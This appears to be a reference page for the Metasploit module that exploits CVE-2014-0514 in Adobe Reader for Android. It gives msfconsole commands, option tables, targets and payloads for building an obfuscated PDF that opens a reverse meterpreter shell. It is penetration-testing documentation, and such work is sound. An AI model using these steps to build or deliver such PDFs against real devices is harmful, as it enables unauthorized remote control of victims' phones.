Adobe Reader for Android addJavascriptInterface Exploit - Metasploit

This page contains detailed information about how to use the exploit/android/fileformat/adobe_reader_pdf_js_interface metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

---

Name: Adobe Reader for Android addJavascriptInterface Exploit
Module: exploit/android/fileformat/adobe_reader_pdf_js_interface
Source code: modules/exploits/android/fileformat/adobe_reader_pdf_js_interface.rb
Disclosure date: 2014-04-13
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): -
Supported platform(s): Android
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2014-0514

Adobe Reader versions less than 11.2.0 exposes insecure native interfaces to untrusted javascript in a PDF. This module embeds the browser exploit from android/webview_addjavascriptinterface into a PDF to get a command shell on vulnerable versions of Reader.

Module Ranking and Traits

---

Module Ranking:

• good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.

Basic Usage

---

msf > use exploit/android/fileformat/adobe_reader_pdf_js_interface
msf exploit(adobe_reader_pdf_js_interface) > show targets
    ... a list of targets ...
msf exploit(adobe_reader_pdf_js_interface) > set TARGET target-id
msf exploit(adobe_reader_pdf_js_interface) > show options
    ... show and set options ...
msf exploit(adobe_reader_pdf_js_interface) > exploit

Go back to menu.

Msfconsole Usage

---

Here is how the android/fileformat/adobe_reader_pdf_js_interface exploit module looks in the msfconsole:

msf6 > use exploit/android/fileformat/adobe_reader_pdf_js_interface

[*] Using configured payload android/meterpreter/reverse_tcp
msf6 exploit(android/fileformat/adobe_reader_pdf_js_interface) > show info

       Name: Adobe Reader for Android addJavascriptInterface Exploit
     Module: exploit/android/fileformat/adobe_reader_pdf_js_interface
   Platform: Android
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2014-04-13

Provided by:
  Yorick Koster
  joev <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Android ARM
  1   Android MIPSLE
  2   Android X86

Check supported:
  No

Basic options:
  Name              Current Setting  Required  Description
  ----              ---------------  --------  -----------
  FILENAME          msf.pdf          yes       The file name.
  PDF::Encoder      ASCIIHEX         yes       Select encoder for JavaScript Stream, valid values are ASCII85, FLATE, and ASCIIHEX
  PDF::Method       DOCUMENT         yes       Select PAGE, DOCUMENT, or ANNOTATION
  PDF::MultiFilter  1                yes       Stack multiple encodings n times
  PDF::Obfuscate    true             yes       Whether or not we should obfuscate the output

Payload information:

Description:
  Adobe Reader versions less than 11.2.0 exposes insecure native 
  interfaces to untrusted javascript in a PDF. This module embeds the 
  browser exploit from android/webview_addjavascriptinterface into a 
  PDF to get a command shell on vulnerable versions of Reader.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2014-0514
  https://www.exploit-db.com/exploits/32884
  OSVDB (105781)

Module Options

---

This is a complete list of options available in the android/fileformat/adobe_reader_pdf_js_interface exploit:

msf6 exploit(android/fileformat/adobe_reader_pdf_js_interface) > show options

Module options (exploit/android/fileformat/adobe_reader_pdf_js_interface):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   FILENAME          msf.pdf          yes       The file name.
   PDF::Encoder      ASCIIHEX         yes       Select encoder for JavaScript Stream, valid values are ASCII85, FLATE, and ASCIIHEX
   PDF::Method       DOCUMENT         yes       Select PAGE, DOCUMENT, or ANNOTATION
   PDF::MultiFilter  1                yes       Stack multiple encodings n times
   PDF::Obfuscate    true             yes       Whether or not we should obfuscate the output

Payload options (android/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

   **DisablePayloadHandler: True   (no handler will be created!)**

Exploit target:

   Id  Name
   --  ----
   0   Android ARM

Advanced Options

---

Here is a complete list of advanced options supported by the android/fileformat/adobe_reader_pdf_js_interface exploit:

msf6 exploit(android/fileformat/adobe_reader_pdf_js_interface) > show advanced

Module advanced options (exploit/android/fileformat/adobe_reader_pdf_js_interface):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   true             no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (android/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AndroidHideAppIcon           false            no        Hide the application icon automatically after launch
   AndroidMeterpreterDebug      false            no        Run the payload in debug mode, with logging enabled
   AndroidWakelock              true             no        Acquire a wakelock before starting the payload
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets

---

Here is a list of targets (platforms and systems) which the android/fileformat/adobe_reader_pdf_js_interface module can exploit:

msf6 exploit(android/fileformat/adobe_reader_pdf_js_interface) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Android ARM
   1   Android MIPSLE
   2   Android X86

Compatible Payloads

---

This is a list of possible payloads which can be delivered and executed on the target system using the android/fileformat/adobe_reader_pdf_js_interface exploit:

msf6 exploit(android/fileformat/adobe_reader_pdf_js_interface) > show payloads

Compatible Payloads
===================

   #  Name                               Disclosure Date  Rank    Check  Description
   -  ----                               ---------------  ----    -----  -----------
   0  payload/generic/custom                              normal  No     Custom Payload
   1  payload/generic/shell_bind_tcp                      normal  No     Generic Command Shell, Bind TCP Inline
   2  payload/generic/shell_reverse_tcp                   normal  No     Generic Command Shell, Reverse TCP Inline

Evasion Options

---

Here is the full list of possible evasion options supported by the android/fileformat/adobe_reader_pdf_js_interface exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(android/fileformat/adobe_reader_pdf_js_interface) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Related Pull Requests

---

• #14202 Merged Pull Request: Implement the zeitwerk autoloader within lib/msf/core
• #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
• #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
• #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
• #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
• #6655 Merged Pull Request: use MetasploitModule as a class name
• #6648 Merged Pull Request: Change metasploit class names
• #4379 Merged Pull Request: fix msftidy warnings
• #3453 Merged Pull Request: Release fixup: Minor spacing and word choice fixups
• #3418 Merged Pull Request: CVE-2014-0514 Adobe Reader for Android addJavascriptInterface PDF fileformat exploit

References

---

• CVE-2014-0514
• EDB-32884
• OSVDB (105781)

See Also

---

Check also the following modules related to this module:

• auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface
• exploit/android/browser/webview_addjavascriptinterface
• exploit/multi/browser/firefox_queryinterface
• exploit/windows/fileformat/msworks_wkspictureinterface
• exploit/android/adb/adb_server_exec
• exploit/android/browser/samsung_knox_smdm_url
• exploit/android/browser/stagefright_mp4_tx3g_64bit
• exploit/android/local/binder_uaf
• exploit/android/local/futex_requeue
• exploit/android/local/janus
• exploit/android/local/put_user_vroot
• exploit/android/local/su_exec
• auxiliary/pdf/foxit/authbypass
• auxiliary/scanner/http/rfcode_reader_enum
• exploit/windows/browser/chrome_filereader_uaf
• exploit/windows/browser/foxit_reader_plugin_url_bof
• exploit/windows/fileformat/adobe_reader_u3d
• exploit/windows/fileformat/foxit_reader_filewrite
• exploit/windows/fileformat/foxit_reader_launch
• exploit/windows/fileformat/foxit_reader_uaf
• exploit/windows/fileformat/nitro_reader_jsapi
• auxiliary/fileformat/badpdf
• auxiliary/gather/firefox_pdfjs_file_theft
• auxiliary/gather/http_pdf_authors
• exploit/multi/browser/firefox_pdfjs_privilege_escalation
• exploit/windows/browser/verypdf_pdfview
• exploit/windows/fileformat/activepdf_webgrabber
• exploit/windows/fileformat/adobe_pdf_embedded_exe
• exploit/windows/fileformat/adobe_pdf_embedded_exe_nojs
• exploit/windows/fileformat/a_pdf_wav_to_mp3
• exploit/windows/fileformat/coolpdf_image_stream_bof
• exploit/windows/fileformat/corelpdf_fusion_bof
• exploit/windows/fileformat/documalis_pdf_editor_and_scanner
• exploit/windows/fileformat/nuance_pdf_launch_overflow
• exploit/windows/fileformat/shaper_pdf_bof

Authors

---

• Yorick Koster
• joev

Version

---

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.